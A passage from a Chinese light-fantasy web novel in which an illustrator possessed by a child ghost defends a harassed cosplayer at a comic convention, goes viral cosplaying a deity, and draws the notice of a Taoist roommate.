离歌做好妆造,对着镜子给自己打气,微微抬起下巴,挺直了胸膛,把常服寄存了一下,提起裙子,走出换衣间,向着场地进发。
“要是什么时候无为太太也有自己的only就好了。”毕竟这么暴露的角色,委实不多,哪怕混在一大波coser中间,离歌依旧觉得自己太过扎眼,只好一遍一遍催眠自己,作为玄鸟不能露怯。
突然一阵破锣嗓子从侧方传来,叽哩哇啦的让人听不清楚,离歌吓了一跳,下意识顺着看了过去。
只见一大妈对着她指指点点,看她好像没听懂的样子,才咧着嗓子用不标准的地方普通话辱骂道:“小小年纪不学好,穿成这样搔首弄姿害不害臊!”
听到这句,离歌脑子都懵了,大脑一片空白,面红耳赤地想要驳斥回去,但身体好像不受控制了。
不堪入目的话语掠过耳朵,直穿大脑,离歌从小生活的环境就很不错,很少遇到这样不讲道理的人,此时此刻根本无法回应自己的处境。
哪怕知道周围有好心人上前帮忙,也难以做出反应。
大妈跟旁的coser,你来我往过了好几招,见一副高傲不理人的样子,心头一阵火大,上手就去推离歌,嘴里还嚷嚷着:“都是你们这些不要脸的婊子带坏了我们小孩…”
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婴灵坐地铁来到漫展现场,左看看右看看,一副刘姥姥进大观园的模样,好在带了口罩,不然吴惟都想捂脸了。
还好还好,这娃用的可是自己的脸,真的一点也不想社死!
楼上突然传来一阵吵闹声,一般来说,吴惟遇到这种情况就直接绕道走了,但谁让现在使用身体的是婴灵。
小孩子都爱热闹嘛,婴灵也不例外。
乘着扶梯来到上面一层,看到离扶梯口不远处仿佛被点了穴的玄鸟,以及旁边围过去的coser和其他路人们。
婴灵上前的时候,刚巧大妈就推了上来,她没过脑子,冲过去抓住大妈的手。
无论如何动手都是不对的!
还好这段时间用吴惟的身体锻炼过,对身体的掌控还不错,没有出现左脚踩右脚摔倒的情况。
“哈!看看又来一个留长发的娘炮,男不男女不女的像什么样子!”大妈一阵火大,又挣脱不开婴灵的掌控,提着破锣嗓子继续骂道。
“还穿着小日子的衣服,一天天的不知道干什么,就会带坏小孩儿!”
裋褐牛仔裤、外面套了件半袖褙子的婴灵:“?”
“留长发就男不男女不女了?没听说过什么叫身体发肤受之父母,不可轻易毁伤!你家祖宗也留长发,他们也都是娘炮是吧!”
“连老祖宗的衣服都认不出来,直接扔给东瀛您可真行,祖宗听了都得从地府爬回来跟您理论!”
婴灵很愤怒,这人眼睛是瞎?
“你这人怎么说话的,懂不懂尊老爱幼!真不知道你爹妈…”
“上来一通骂还动手的难道不是你,既然你不懂得爱幼凭什么让我们尊老,多活几年就有理是吧?”
她一个八百年老鬼为什么要尊她一个四十多岁的玩意啊?!
吴惟:“别吵了,她不会听的,直接报警…算了我来吧。”
吴惟捂脸,一般这种情况他都是在后面默默报警的那个人,第一次身处中心,还真有点难顶。
跟这种人起冲突很吃亏的,毕竟她不会觉得自己错了,不论你说什么她没理也会撒泼,哪怕假装报警吓她都比吵架强,但他想起婴灵不会报警。
还是得自己来。
婴灵:“哦…”
空间里的对话时间很短,还没有一秒,身体已经换人了。
她果然半点没听进去,在吴惟摔开大妈手的时候,她已经指着吴惟的鼻子又骂开了。
说吴惟强词夺理,之后又把之前那一套说辞拿出来骂,其中词句不堪入耳。
真就是谁横谁有理呗。
吴惟直接掏出了手机,作出一副要报警的模样,用一种平稳但掷地有声的语调说道:“这位奶奶,公然侮辱诽谤他人是要拘留并且补偿精神损失的,情节严重甚至需要坐牢。
“您刚刚的行为已经构成故意伤人,我刚刚看到有人已经录了视频,要不咱们公安局去说理?”
刚才说了两个刚刚,好别扭,没关系已经很好了,好在之前在脑子里来回演习了n遍,没出岔子。
这种是就是一鼓作气,再而衰,第一次没有说出口,后面也会很艰难,至少对于吴惟来说,这已经是极限了。
这时,远处正在往这边赶的小哥,举着自拍杆跳起来挥了挥手大声喊道:“我录了我录了,刚好在直播呢,听到动静就转过来了,录了全程!”
大妈也是个欺软怕硬的,讪讪地收回手,放了几句狠话就溜之大吉了。
谁也没想到,她刚出商场就摔了个大马趴,骂骂咧咧想站起来,发现脚扭住,肿的老高…
不过这个时候没人在意她了。
婴灵眨巴眨巴眼睛,看着大妈离开的方向,很是不解:“这就跑了,真不惊吓,话说你刚刚说的是真的?”
吴惟:“大概吧,我也不知道,反正处罚肯定有,只不过估计没我说的严重,毕竟没真的碰到,只能算个未遂。”
婴灵接管了身体,回头看向身后的玄鸟。
刚刚推搡的那一下,也吓到了离歌身边cos秀姐的妹子,看事情解决了,搀着吓得腿软的离歌过来道谢。
秀姐:“还好小哥哥你反应快,不然免不了受伤。”
花萝:“对对,还有刚刚,我怎么没想到用报警来吓唬对方呢。”
婴灵摆摆手说道:“不怪你,我也是因为来得晚,看到有人在录视频有证据不怕才敢吓唬她的,几位姑娘刚刚挺身而出,替玄鸟挡住谩骂的身姿也很帅!”
“原来小姐姐cos的是玄鸟,真的好美!不知道是那部作品里的,等我回去磕一口!”cos魈的妹子不吝赞美道,周围人跟着附和。
离歌出走的大脑终于回来了,刚好听到有人夸赞她,脸上还没下去的热度再度回归。
好在大脑没有宕机,赶忙道谢:“谢谢,谢谢夸奖,还有谢谢你们帮我,刚刚被吓到了,明明是你们帮我,我却没有跟你们统一战线,实在对不起!”
周围的人群已经散的差不多了,留下来帮着对骂过的coser们七嘴八舌地安慰她,“没关系的,刚刚那种情况被吓到也是正常的。”
“小姐姐是第一次出cos吧,第一次感出这么性感的角色,很有勇气,我支持你哦!”
“……”
刚刚录直播的大兄弟终于找到机会凑了过来,自来熟地把手搭在吴惟肩上,“兄弟不错嘛,反应挺快,那句奶奶真的笑死我了,你看到那大妈的脸色吗,难看的紧哦,哈哈哈哈!”
婴灵也没想到吴惟这么促狭,对此吴惟表示这不怪他,他也不知道为啥叫成了奶奶,可能因为对面太想装长辈了?
他当时大脑都快出走了好吧。
这话不好答,婴灵无视了对方挤眉弄眼的表情,看了看他自拍杆上的手机,好奇地问道:“你刚刚真的在直播?”
大兄弟骄傲地抬起下巴:“可不,不过我骗她的,没录到全程,这不注意到这边的时候已经晚了,不过吓唬人绝对够了,怎么样配合的不错吧。”
婴灵眼尖,刚好扫过屏幕上一排显眼的弹幕,抑扬顿挫地念了出来:“厉害厉害,可把你骄傲坏了!”
大兄弟一个绝倒,“我嘞个…你不会是我粉丝吧?!”
只有他的粉丝才会这么说话!
婴灵茫然:“粉丝是什么?”
这句话当然是问吴惟的,并没有说出口。
吴惟:“就是喜欢自己的人,你刚刚念的弹幕就是他粉丝发的,还有,我不认识他。”
婴灵抬头一本正经地回道:“刚刚是你弹幕里那么说的,我觉得挺应景。”
大兄弟拍拍胸脯顺了口气,才说道:“原来如此,我叫五仁瓜子,是动漫区up,兄弟认识一下?”
他那群会整活的粉丝,真见面了还不知道会怎么折腾自己呢。
“我叫事事无为,是个插画师。”
嘈杂的环境小范围的静默了一瞬间,婴灵回头,看到五双眼睛一起盯着自己。
五仁瓜子看这情况有些乐呵,“哟你们认识?这是来面基了?”
倒也不是,不过,婴灵指出,“那个最漂亮的姑娘cos的是玄鸟,我画的!”
吴惟捂脸:“倒也不用这么骄傲…”
好社死啊…
刚刚吴惟在和五仁瓜子聊天的时候,那五位姑娘刚好互相鼓励完,交换了cn,然后安利自己cos的角色。
之前扶住离歌的妹子叫“秀
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姐一生推”,专门cos秀姐,为了cos还学过跳舞,这次出的是星演套,身边cos雪河花萝的是她的亲友“万花谷第一话唠”,说叫她话唠就可以了。
cos魈上仙的妹子cn是九月,是个成熟的coser了,出过很多作品,不过这次是来玩的,没带摄影师。
另外一个妹子cos的是芙利莲,cn是“肥伦家的崽”,和离歌一样,也是第一次出cos,正好自己喜欢的角色着装比较日常,心理负担小,就出了。
到了离歌这里,介绍自己cos的角色时,还顺便提了作者“事事无为”太太,顺便一通彩虹屁,还给她们看了对方的作品,转过头来就听到一句,“我叫事事无为,是个插画师。”
哦豁,喜闻乐见。
五仁瓜子一脸促狭地看着被姑娘们围起来要签名的吴惟,对着自家观众老爷们,用一种说书人的语气,说起刚刚发生的事。
婴灵被妹子们围起来的时候已经换人了,吴惟很无奈啊,他堂堂一社恐,为什么要经历这些!
好在中间有个情商比较高的九月妹子看出他的不自在,主动聊起了他的设定,说到专业领域的时候,终于让吴惟摆脱社恐滔滔不绝起来。
九月:“原来玄鸟是这么来的,确实古时候有生殖崇拜,好像有不少女神都和这个有关。”
吴惟:“是这样的,除了玄鸟,还有后土,女娲…有的延伸到现在已经有其他含义,不过我是觉得没必要刻意去忽略这方面。”
“有句话叫做毁灭容易创造难,更何况是创造生命。而且这种特质也可以是力量的体现。”
离歌:“说真的,我原本还以为无为太太是个女生,其实很多男的也喜欢画胸大的妹子,看着都让人不舒服,总是让人联想到媚宅,但是吴惟太太画出来反而很帅!一点也不媚宅!就是苦了我这个coser,为了这个角色我可是练了整整一年,还达不到标准。”
肥伦:“已经很厉害了!要是我根本坚持不下来!”
秀姐:“细看的话,大概也有太太设更多的是只露上半身的原因吧,论性暗示下半身比上半身要更强烈一些,只露上半身的话,性感更多一些,倒不至于媚俗。”
话唠:“还有还有,姿势也是一方面吧,我感觉太太的画主要展示力量感,都会用一些很酷的姿势,不会专门扭胯。”
“……”
五仁瓜子跟在后面,“无为太太真受女孩子欢迎啊,我就没这待遇了…”
一脸可惜的表情让他收到了粉丝关爱智障的弹幕。
[笑死,瓜子你就别想了,这波是太太和cos的双向奔赴]
几人边走边聊,到了漫展入口检票,正好几人都没有额外的同伴,就干脆相约一起逛了,期间几位coser都被请求合影了。
作为二次元up的五仁瓜子,摄影能力也是一流的,肯定是当然不让,掏出相机为几个妹子没人拍了一套写真,最后还要求吴惟摘了口罩和大家一起合影。
吴惟能怎么办,当然是答应了,毕竟难得来一次,虽然自己不怎么上镜。
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“你等等。”
五仁瓜子绕着吴惟来回审视,看的吴惟浑身不自在,“怎么了?”
五仁瓜子:“什么怎么了!长成这样为什么要戴口罩,卧槽,你到底是哪来的神尊复活了?!!”
妹子们也啧啧称奇,虽然带着口罩单看那双丹凤眼和朱砂痣的组合,就已经觉得事情不简单了,但是没想到还是低估了吴惟面相的神奇。
“难怪你喜欢画神仙志怪呢,他们怕不都是你的同事?”
吴惟:“?”
什么玩意?他咋不知道自己长多好看?
婴灵:“不用打问号了,你长得确实是天上那群最喜欢的形象。”
虽然现在天上已经没同事了。
吴惟:“草…一种植物…”
五仁瓜子拍手叫好:“别说,你这头长发,跟你的五官真挺配,等下哈,我去找身衣服,还有毛娘和妆娘给你打扮打扮。”
离歌这时候举手道:“妆娘就不必了,我就是,妆盒也带着。”
话唠也跟着举手:“毛娘也不必了,这有,只是需要饰品。”
五仁瓜子大手一挥,“那就一块来吧,正好我在着认识的有人,咱们去他摊上借。”
吴惟有些生无可恋悄悄回到空间,换了兴致勃勃的婴灵出来。
因为吴惟底子好,现成的长发及膝,不需要大改的面容,一套妆造不出半个小时就做好了。
“啧啧,什么叫宝相庄严啊,这就是!”
“倒也不必这么像!”
“啊,这就是我心目中的神明!”
“这朱砂痣居然是真的,我之前一直以为是画上去的,太绝了太绝了!”
“走走走,别站着了,去拍照去秀秀,我们家神明…不,天官大人一定能惊艳所有人!”
吴惟:“很好,今天oc又多了一位呢:)”
面无表情、咬牙切齿.jpg
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5. 第 5 章
“天官赐福,百无禁忌~~”
五仁瓜子走在前面抄起篮子里的花瓣一边喊一边像撒纸钱一样挥洒着,吸引了许多人的目光。
吴惟无语地小声逼逼一句:“是百无禁忌,诸邪回避!不要乱用小说里的句子好吧,会被误会的!”
五仁瓜子从善如流。
“百无禁忌,诸邪回避~~”
吴惟面无表情:“倒也不必…”
吴惟艰难地转移视线,对意识空间里的婴灵问道:“不过话说回来,判官小姐怎么不上了?”
婴灵:“我的神态没有你端着,你看起来更有神明像。”
吴惟:“?”
人话否?你才是鬼神好吧!
也行吧,好在自己的社恐病的也不算太严重,这种不用刻意与人交流的情况,哪怕被关注也不至于特别不自在。
吴惟目不斜视,一手端在前一手负在后,微垂下眼睑,姿态随意地走在五仁瓜子身后,保持在一米多的位置。
用婴灵的话说就是拿出平时走路时候脑子里瞎想的游离在外的姿态就很合适,虽然吴惟自己认为那就是厌世表情。
但人嘛,又不是专门学表演的,总会对自己的表情没有什么认知,在吴惟主观意识里的厌世,看在别人眼里就成了俯瞰众生的神明相。
九月端着五仁瓜子的直播手机和肥伦一起走在两人左侧,离歌和秀姐、话唠成“品”字形不远不近地跟在吴惟身后。
两边都是摊位,这不算宽的小路让他们几个生生走出了天官出巡,闲人回避的状态。
路人看到这一队人马,下意识退避,甚至有的还以为是有什么官方活动,自发地跟在了队伍后面。
这一路下来,因为人的从众心理,队伍越跟越长。
“好帅啊,这是cos的哪尊神,我仿佛看到了真的!”
“天官吧,刚刚不是喊了天官赐福?”
“太子殿下?不像啊?”
“不是那个天官赐福啦,是紫薇大帝,天官、地官、水官中的那个天官,天官就是负责赐福的。”
“原来如此,他真的好合适,长的就像坐在庙里的神像长了腿跑出来的,你说我跟他要签名会不会真的被赐福?”
“hhhh说不定呢…”
前面的人如此传,后面的人越传味道越怪。
“听说官方临时加了个天官赐福的游行活动,咱们去看看?”
“听说那位天官coser特别像,跟真的一样,说不定很灵。”
“听说漫展请来了一位天官,是庙里神像跑出来玩的,正在游巡呢,咱们等会儿去要个签名,听说很灵的。”
“……”
好窒息的言论,还好吴惟听不到,婴灵收回游荡在漫展现场的灵识,悄悄拍了拍胸脯,老气横休地叹出一口气。
到了古风摄影角附近,五仁瓜子一回头,吓了一跳,“卧槽,怎么这么多人?!”
离歌弱弱举手:“其实我刚刚就想说了,但是气氛太好了,不太好打扰。”
她走在最后面,自然身后是个什么情形一清二楚。
前排距离离歌最近的一个女孩儿自来熟地问道:“小姐姐,你们这是什么官方活动吗?可以拍照吗?”
离歌不太好回答,毕竟现在主要不是看她,于是回头用眼神询问吴惟。
吴惟:“……谁惹出来的事谁解决。”
五仁瓜子尴尬挠头,上前解释道:“小姐姐我们不是官方的,我们也没想到会闹出这么大动静,实在对不住。不过你们想拍照的话直接问coser本人就好。”
后面吵吵闹闹的,毕竟人太多了,他们人少,哪怕后面四个妹子也加入了控场队伍,也还是没办法控制场面。
吴惟…吴惟也想帮忙呢,不过谁让出发前说好了让他做一个安安静静的移动神像呢:)
被迫害的人当个花瓶就好了,绝对不是他社恐,哼。
好在这时候漫展官方的挤了进来。
虽然他们早就听到动静里往这边来,但是来的路并不宽敞,人又多,氛围也还不错,就一边慢慢往前挤,一边打听情况。
现在看人停下来了,前排又好像有些混乱,才极力赶过来控场,顺便问了一下众人有没有合作意向。
内容差不多就是邀请他们当古风角这边的活动npc,配合着合影签名,之后再来两场巡游,有偿的。
婴灵:“同意吧,反正也没什么事做,看起来也挺好玩的,我可以替你大半场。”
吴惟能怎么样,当然是同意了,毕竟报酬也不低。
插画师这个行业,尤其是他这样的小透明,饥一顿饱一顿很正常,更何况他喜欢做谷买谷,花销不小,有赚钱的机会并且不难,有什么不能答应的。
这边商量好合作事宜,那边的工作人员已经控制了现场,并公布还有两场巡游之后,留了两个帮忙的人,把后续工作交给了五仁瓜子等人,拿着对讲机把这边的事汇报了上去的顺便请官方再派两个有才艺的古风cos搭戏。
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石小小并不玩ACG,这次来漫展是被闺蜜拉来的。
闺蜜是个富婆做谷人,给我推做谷是人生一大乐趣,长年奔波于各大漫展,今天因为搭档临时有事没办法过来,她就把自己的闺蜜叫来帮忙。
石小小看着铺子上的二次元男神女神并不感兴趣,趁着摊位上没人,打开手机准备刷会儿某博,突然被一声“天官赐福,百无禁忌”吸引了过去。
循声望去,看到一个阳光大男孩儿挎着花篮很投入地撒花瓣,后面跟着四个人,看打扮,都是古风coser。
前面的人被人挡,后面两个古风cos也很常见,石小小的目光立刻被队伍最后的coser吸引。
她身形高挑,背着翅膀穿着羽裙,远看就像是振翅高飞的鸟儿,石小小立马想到了玄鸟。
天命玄鸟,降而生商。
如果神话中的玄鸟走进三次元,应该就是这样的形象吧!
没错,石小小是个神话迷,尤其是中国的神话,不论是道教的、佛教的,还是民间传说中的,都专门研究过。
现在看到一个很像玄鸟的人物非常激动。
“百无禁忌,诸邪回避!”
五人走近,阳光大男孩儿身后的那人终于露出了身形,那人竖着莲冠,服饰配色青白红金,看似很杂,却意外的和谐。
不是传统天官服饰,是现下比较流行的神官服饰。
但往上看,他的面容反而没有一丝现在流行的元素。
脸是微胖的,额头是饱满的,没有一丝刀削斧凿的棱角;眉毛成柳叶状而非剑眉,眼睛是微垂狭长的凤眼,一副俯瞰众生的慈悲像;鼻梁并不高挺,眼窝也不深邃,嘴唇更不是小说里喜欢描写的薄唇,反而饱满莹润。
眉心那点朱砂最是绝妙,直接将这刻板的神像点活了,宝相庄严,不外如是。
一张传统美学的脸,配合着更加流畅的现代流行古风服饰,使得原本在石小小印象中应当有些沉闷的天官,变得更加灵动飘逸。
石小小看的有些痴迷,“这就是天官啊!”
她和闺蜜说了一声,就跟着站到了队伍的前排,走的时候被闺蜜拜托多拍点照片,顺便带一份签名了。
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吴惟感觉手快断了,这不科学,为什么别人家的coser只需要合照就可以了,他还要负责签字?
更何况他还不是coser,这也不是他的签售会,哦对,他还没出过绘本呢。
婴灵不说话,把自己往空间更深处缩了缩。
她实在不太好意思告诉吴惟,因为判官笔的滋养,激发了他身上的灵性,那点灵外显,才让他那不似人间的状态变得格外显眼。
尤其是那一身cos神明的衣袍一穿上,整个人气质就升华了。
之前没注意,没想到居然坑了他一把。
婴灵又往里缩了缩。
[但是你们依旧玩的很开心不是吗。]
咦?是吗?婴灵只觉得自己开心,但是吴惟?要不问问?
“但是你心情好像还不错?”婴灵试探着开口。
“是啊,”吴惟把自己扔近狗窝里,抱起毛茸茸的被子蹭了蹭,“虽然很累,但是我收获了好多喜爱我作品的人,当然开心了。”
是的,来合影和签名的人肯定会要他的cn,之后上某博一查,就会发现他是个画画的,总有那么几个会惊艳于他的作品,现场惊叹,让吴惟听个正着。
会跟着他的巡游来找他合影签名的,或多或少对神话或者古风感兴趣,哪怕只是磕他的颜,这种审美也肯定能够包容古风,他自己作为画师,审美也是很在线的,
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漫展过后自然就收获了一大群粉丝。
当然,现在的吴惟已经累瘫了,自然没有时间去看自己的某博。
“自己的努力被人认可,自然让人欢心了。”
吴惟轻声说着,声音已经渐渐变成了呓语,判官笔为他升起了安睡符阵,没一会儿,他的呼吸就逐渐平稳了下来。
[他今天太累了,身体也有点过度劳累,你就不要再出去用他的身体干什么事了。]
“嗯嗯。”婴灵枕着双手躺在虚空中,叹了口气,“就是不知道那个叫离歌的小姑娘怎么样了,可惜作为地府鬼神,不太好出手管人间事啊。”
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这一天下来,除了吴惟,最累的就是离歌了。
没办法,谁让玄鸟也是神兽呢,看着就像是一套的。
好在后来陆续有其他神话角色coser加入,分摊了压力,但即使是这样,依旧把离歌累的不轻。
回去实在不想挤地铁了,干脆打了个车。
离歌小心翼翼掏出签绘板看了一眼,放在胸口,很是开心。
这是现场买的,本来只是想请吴惟签个名,但毕竟已经有了半天的革命友情,再加上这是第一次在现实中遇到自己的粉丝,吴惟提着发酸的手,在摊位上借了个软笔,画了一个写意玄鸟,然后才签上自己的名字以及祝福语“事事平安,事事顺遂。”
漫展结束时间还算比较早,差不多五点多,天还大亮,离歌打车到学校附近就下了,去学校对面的小吃街,吃完饭才走着回学校去。
绿灯亮起,离歌准备往前走的时候,心里一突,没由来的感到恐惧,赶紧停住,下一秒,一辆摩托车冲出来,后视镜几乎擦着她的脸冲了出去,给她吓呆了。
下意识的扭头,看着摩托消失的地方。
离歌小心翼翼地回到宿舍,几乎一步三回头,确定没问题了才敢走,到了宿舍才松下一口气,生怕上个楼梯都踩空,也是不容易。
宿舍很宽敞,四张床都是上床下桌,由于当时分宿舍的时候多出来两人,于是学校把她和一位同班的室友分到了大四的宿舍里。
另外两个学姐室友在外实习,很少回来,到了大二的时候,两个学姐已经搬走了,她们宿舍另外两张床也空出来了,并没有再进新人。
现在和她一起住的室友叫夙逸兴,是个“甜妹”,五官小巧精致,颇显幼态,眉眼带笑,顾盼神飞,唇边还有两个小酒窝,说话声音也有些甜软,让人不自觉感到亲近。
夙逸兴比她低半个头,身材娇小玲珑,还喜欢穿洛丽塔,像个洋娃娃一样,离歌刚认识她的时候,总是忍不住自己的保护欲,克制着自己的内向,把她护在身后。
直到大一下半学期,路过校外的小巷子,亲眼看到夙逸兴一个鞭腿,揍趴了最后一个小混混,此时地上已经横七竖八躺了八个人。
她听到自家小天使室友用本来就甜的声音刻意夹起嗓子来“蛊惑”对面:“来,站起来,说好的要陪妹妹我玩呢,这还没尽兴呢~”
哇偶,这玻璃渣工业糖精实在太甜了,扎的离歌透心凉,原来我自以为的保护都是假的,她是不是觉得这样的自己很可笑,呜呜呜…
过了没几天,夙逸兴发现最近室友的状态很不对劲,在她的诱哄下,离歌很快就招架不住,吐出了内心真实的想法。
离歌唾弃了一下自己,真没想到自己居然是个甜妹控,被骗了还甘之如饴呢:)
夙逸兴被离歌抓住小辫子,一点也不尴尬,稍微解释了一下,说自己一点看热闹的心思也没有,只不过第一次享受到被人保护的感觉很开心,所以不想打破这样的关系而已。
毕竟以前都是她自己亲手揍人,从小一起长大的伙伴们都知道她是个什么德行。
这次到外省上学,才难得享受了甜妹应有的待遇,差点感动哭了呢。
在夙逸兴对离歌表示“以后有人欺负你就回来跟姐说,以后姐罩你”之后,两人感情迅速升温,从室友变成了最好的闺蜜。
离歌的健身计划就是夙逸兴帮忙制定的,c服也是夙逸兴动手做的,这是夙逸兴为数不多的兴趣之一。
只是这次离歌去漫展,夙逸兴有事要办就没跟着去,只是没想到居然出事了。
夙逸兴看着闺蜜身上的怨气有些暴躁,仔仔细细问了今天发生的事。
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6. 第 6 章
离歌跟闺蜜吐槽着,很快就把刚刚的惊魂未定抛在脑后,很愉快地分享了今天的见闻可以说一整个学期下来都没着一天过的精彩。
离歌一边说一边把今天拍到的照片给闺蜜看,说到签绘的时候,还把签绘板拿出来给闺蜜展示。
“看,这是无为太太现场画的,独一份哦~”离歌一边说,一边展示签绘板,视线接触到画面的时候愣住了,只见原本黑白分明的画面灰了一个度,“哎?这笔还掉色?”
当然不是掉色了,离歌看不出来,夙逸兴还看不出来吗?
作为一个天师,哪怕是剑修,单凭灵觉也足够看到一些别人看不到的东西。
比如签绘板上的言灵。
“事事平安,事事顺遂。”
倒是美好的祝愿,只是看言灵就能发现对方似乎修为不高,做不到驱逐怨气,但也能帮助被祝福的人阻挡一些灾难。
颜色变浅,说明回来的路上自家闺蜜已经遇到过一次危险了。
夙逸兴问离歌回来的路上是不是发生了什么事。
离歌惊奇道:“你怎么知道的,确实,我吃完饭回来过马路的时候,跟一辆摩托车擦肩而过,差点没被撞上,就,你知道嘛,要不是当时有不好的预感,没往前走,你今天可能就看不到你的好室友了!”
现在想想还是一身冷汗呢。
夙逸兴点头,果然如此,这个“事事无为”有点东西啊,得关注一下。
她掏出手机,先给弟弟夙明月发了个消息,作为剑修对祛除怨气没什么心得,但是弟弟不一样,他会画符。
夙逸兴向弟弟讨了一张驱邪符之后,开始缠着闺蜜让她讲关于“事事无为”的事…
夙逸兴盯着室友各个角度拍摄的吴惟的脸,多少有点怀疑人生,为什么会有人长得这么像祖师爷的私生子啊?!
.
[应当无事。]
“也对,吴惟虽然没正儿八斤修炼过,但被你激发出来的灵觉加上言灵的祝福,也够她多过两三次灾厄了,等怨气散的差不多,也就没事了。”
最多经历一些不致命的小灾小难。
[放心,不仅如此,小吴惟给那孩子画签绘的时候,用的是我,保证续航能力。]
婴灵:“?”
干的漂亮!
.
吴惟回到自己的小窝之后倒头就睡,但这个点正是现代人狂欢的时间段。
临市虽然不是一线,人口却不少,临市的漫展关注的人也不少,更何况还有某些快百万的up主闲着没事专门跑来直播。
没错,说的就是某瓜子,从吴惟出来怼大妈开始弹幕就过分活跃了,瓜子和这群人同行,还真有一部分原因是为了蹭热度啊。
笑死,“三分钟,我要这个男人的资料都出来了”这种待遇,是他不配。
那群已经玩熟了的冤种粉丝们都知道他人有多沙雕。
再之后,常规的进场,常规的逛摊,常规的cos合影,除了弹幕一些叫嚣着让瓜子赶紧想办法把无为口罩摘了的弹幕,都激不起什么波澜。
直到无为真的把口罩摘了…
哦豁,事情大条了,搞到真神了。
于是某人的刻意dna里的整活基因爆发,撺掇吴惟去扮神明,最终结果,自然是他尽兴,直播间也热闹,自己涨还了不少粉了,距离百万up再进一步。
瓜子都想给自己鼓掌了,太机智了有木有。
漫展结束,一条热搜冲上了某博末端,虽然不起眼,但玩二次元的都看见了。
#长腿的神像跑来漫展玩了#
[有谁看到了吗,这张脸是怎么做到的,居然和神像那么像!!什么叫道骨仙风啊!!!#花瓣雨下侧身抬头# #拈花一笑特写#]
[人在现场,越看越耐看,突然get到了什么叫宝相庄严,这是人能长出来的脸?#盘膝而坐手托莲花九宫格#]
[卧槽,这是哪场漫展,你们吃的这么好的嘛?!]
[是临市,人在现场,不过没挤进去,哭了#猫猫流泪#]
[该说不愧是有文化底蕴的城市吗,漫展都搞这么复古]
[瓜子直播间摸过来的,指路 @五仁瓜子 b站主页有直播录屏哦~]
[刚去看了录屏,斯哈,瓜子搞快点,我知道你手上还有图 @五仁瓜子]
[……](此处省略八百条颜狗发疯消息)
[布女悄悄举手,为什么会有人长得这么像我木头人老公,我的素素啊呜呜呜]
[混进来了什么奇怪的东西,不过有一说一,确实很有布味儿]
[笑死天启素是嘛]
[我觉得是九皇]
[楼上在说什么,不要加密,快说出来让我也磕一磕!!]
[……(此处省略八百字安利)]
[你们都在说颜,只有我关注到了小哥哥其实是个画师了嘛,刚刚去他主页看了一眼,窝漏,这真的不是给同事画的写真嘛,安利一波,你们快去看啊!!#百花仙子设定图#]
[什么玩意,我本来热搜摸过来是看神仙太太的,然后居然踩到了自家坑,不是太太你不仅画神仙,自己也是神仙啊?谁懂我的快乐~~顺带一提,旁边这个小姐姐cos的是太太的oc玄鸟哦 #无为和玄鸟合照# #玄鸟设定图# #妲己设定图# #商周大战场景原画#]
[……]
一场狂欢持续到晚十一点多,五仁瓜子姗姗来迟。
五仁瓜子:[别催,修图不要时间啊,这不就来了,等着,先来拈花一笑 #九宫格#]
五仁瓜子:[花下舞剑 #九宫格#]
五仁瓜子:[宝相庄严 #九宫格#]
五仁瓜子:[鱼戏莲花 #九宫格#]
[!!!]
[美美美,不愧是瓜子,技术杠杠的!]
[卧槽!这个鱼戏莲花是真的嘛,居然真的有鱼往人手上跳?!]
[是道具吧,真鱼怎么可能不怕人]
[人在现场,鱼是活的!!]
[啊啊啊!!这个手指轻轻点水,垂眸浅笑的样子太慈悲了,丫的明明应该很蛊的,为什么我硬不起来?!!]
[楼上收收神通吧,慈悲过头了根本蛊不了一点好吧#眼泪不争气的从嘴角流了下来#]
[花下舞剑这组眼神绝了,这眼神,很其他的都不一样,好凌厉!](因为这组是婴灵演绎的)
“老师下次换白发cos素素吧,道友需要你呜呜呜]
[……]
某博的狂欢持续到了大半夜,就转战到其他平台了,毕竟二次元的主场不在某博嘛。
第二天早上起来,吴惟就看到了某博、某书、某站、某阁楼的消息都炸了,点开一看,好家伙,自己被百万博主画了…
吴惟:“这什么倒反天罡,明明从来都是我画别人…”
.
#问,一觉醒来发现自己涨了几万粉是什么感受#
谢邀,作为一个只有几千粉的小透明,吴惟表示自己应当没睡醒。
被人画了什么的不存在的。
不过挺好看的,存一下。
吴惟起床弄了点吃的,吃完早饭抄起画笔就开始了今天的工作时间,每天也就一个时辰多一点,可不能浪费…
三分钟后…
算了,现在还浑身酸疼呢,今天就摆烂一天吧QvQ
吴惟缩进了懒人椅上,晒起了太阳。
.
其实真要论起来,吴惟也仅仅是在圈子里小爆了一波,有件事比他还要火,甚至火出了圈。
虽然瓜子没有录到全程,但是当时吃瓜群众并不少,有好事者把大妈和cos对骂的视频发到了网上,不少人对这件事指指点点。
有说coser穿成那样就是不检点,带坏小朋友的,崇洋媚外的,大妈骂的没错的。
有说coser没错,穿衣自由何况人家只是扮演,是大妈没有素质的,更何况人家有的cos的是国产游戏和动漫怎么就崇洋媚外了。
甚至有有心人扒出大妈身上的外国品牌。
最后夸的最多的是吴惟那有问题找警察叔叔的态度。
这事发酵之后,甚至被当地媒体报道,只不过各打一大板让人很不爽,什么大妈破口骂人有错,coser穿着不得体也有错,直接引爆了二次元群众的怒火。
短短几天这件事直接冲上热搜榜首,连娱乐圈劲爆新闻都要退避三舍。
好在视频是打了码的,没惊动吴惟。
作为一个日常懒得看新闻的阿宅,吴惟也只经受了涨
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粉涨的一大半是颜粉的冲击,就转头就屏蔽了外界纷纷扰扰,画起了之前没画完的稿子。
这件事在他的生活里没有激起一丝波澜。
再次“出关”,就是瓜子p好了所有的图发给他的时候了。
对此吴惟还是很高兴的,他从来没有觉得自己这么上镜过,挑挑拣拣,好好珍藏了其中他觉得好的照片,继续“闭关”了。
瓜子无语,就,大兄弟,这么好看的照片你不发一波,虽然你是画师,但是为了运营账号营业一下怎么了?
吴惟表示拒绝,不过自画像可以有。
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一个月后,“事事无为”归于平淡,早先打卡蹲照片的颜粉已经不知道去哪了,只留下绘画粉还在等更新。
以及某个冷圈痴心等待…哦不,其实也算双向奔赴了,至少吴某人也是半个道友呢,到现在黑历史里都有布袋戏同人在主页上挂着。
吴惟扔下数位笔伸了个懒腰,看着用了整整一个月断断续续画好的“自画像”:
画面正中心是天官宝相庄严的正面虚影,天官俯瞰人间,人间仿照古代街市在画面底部用长卷的方式展开,神官以各种姿态行走在人间各个角落。
正中心抬头和天官虚影对视的神官背影,穿着像是祭祀的服饰展开双臂仿佛迎接赐福,左右两侧是人间的各种技艺,舞龙舞狮的、打铁花的、碳花舞的、敲锣打鼓的、英歌巡游的、跳傩舞的…
天空中无数烟花绽放,往上化成龙分布在天官两侧,庄严威武。
